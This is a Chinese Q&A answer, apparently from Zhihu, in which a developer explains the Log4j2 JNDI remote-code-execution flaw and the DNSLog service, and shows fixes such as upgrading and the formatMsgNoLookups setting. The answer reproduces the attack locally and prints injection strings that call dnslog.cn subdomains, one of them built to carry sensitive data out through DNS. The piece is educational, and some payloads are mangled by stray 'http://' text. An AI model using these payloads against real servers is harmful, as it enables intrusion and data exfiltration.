APACHE 存在 LOG4J 远程代码执行漏洞
链接:https://www.zhihu.com/question/505025655/answer/2266423796
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
回顾一下12.10一天的经历
- 早上看到新闻,心想:这漏洞真厉害
- 中午到了公司发现,自己的项目用的logback,躲过一劫
- 下午吃瓜看一群同事修bug发版,在微信群里扯淡吐槽
- 晚上在本地复现了一下攻击过程
- 感叹,还是要多学习多进步啊,并整理了这篇回答
昨天一整天都在被公司群、闲聊扯淡群、知乎上log4j2漏洞的事情刷屏。各位小伙伴分享着自己公司的解决方案,吐槽半夜被叫醒加班补漏洞,还有说全公司都在发版导致发布系统挂了现在只能划水吃瓜。当然,还有各种科普贴描述漏洞的原因、攻击原理以及千篇一律的带有计算器的被打码的截图和这个http://dnslog.cn网站的dns记录截图。
作为一名纯粹的后端搬砖程序员,平日对安全领域真的是没啥涉猎。所以这个网站是干啥的?为啥有记录就证明百度、iCloud被攻击了?于是抱着学习的态度研究了一番,有了一丢丢的收获。
DNSLog网站是干啥的?
讲人话:DNSLog可以为你免费分配一个二级域名,并记录这个二级域名做DNS解析过程中的域名和IP映射关系的请求记录。当你对这个二级域名进行请求时,自然会进行DNS解析,所以你就会在当前的页面查看到解析的记录。
比如我随机分配到了这个域名:http://7lqs4g.dnslog.cn
之后我请求这个域名,当然,什么都不会返回。但是在DNSLog的页面上,会显示域名解析记录,如图:
如何证实漏洞?
本次的log4j2漏洞,是通过构造一个${jndi:ldap://http://blabla.com}格式的字符串,在log4j2打印包含这个字符串的日志时,通过JNDI对ldap://http://blabla.com进行请求。所以,如果能注入成功,则在请求网址的时候,会对http://blabla.com这个域名进行解析,并留下解析记录。
所以这就是为什么,用DNSLog网站的截图来证明,各大网站存在漏洞的原因。因为注入成功就会有记录呀。
于是在本地也感受一下。新建一个Spring Boot的Web项目,配置好我们这次的主角log4j2。
写一个简单的post请求的接口,里面的内容就是输出请求的信息。对这个接口进行正常的请求,输出如下:
之后我们在将请求构造成注入攻击的格式,带上我们新申请的二级域名:${jndi:ldap://http://gc46bp.dnslog.cn}。再发起一次请求,结果如图:
可以看到,攻击生效了,回到DNSLog页面上刷新一下DNS解析记录,已经出现了。
漏洞解决
目前各大厂给出的方案可以参考这篇回答:
总结起来有以下几个:
彻底解决方案
log4j升级到2.15.0版本
暂时解决方案
- 修改log4j2配置:log4j2.formatMsgNolookups=True
- 修改JVM参数 -Dlog4j2.formatMsgNoLookups=true
这个方案我尝试之后是可行的
平替方案
那就是不用log4j2啦,直接用logBack就好了哈哈哈哈。
因为自己的项目使用的是logback,所以这一整天就看别人在那升级版本上线了,全程吃瓜。
而且也因为Spring Boot是默认使用的logback,所以做测试的项目创建后忘了配置接入log4j2,测了几次发现没bug啊……尴尬。
DNSLog还能干啥
再说回到DNSLog。那这个网站就只是看一下DNS解析记录?并不是,其实他的作用是对注入获得的信息进行回显。你可以将要回显的信息构造成子域名,这样信息就可以直接在DNS解析记录里看到了。
设计一个蹩脚的漏洞来攻击
那么我们就可以结合刚才的知识,来设计一个暴露网站敏感信息的供给。假如我的脑残网站有这样的代码:
然后我构造如下的入参,进行注入攻击:${jndi:ldap://{}.http://hbh9cz.dnslog.cn}
可以看到,实际上输出的日志变成:
再查看DNSLog的解析记录,可以看到我们要的信息已经带出来了。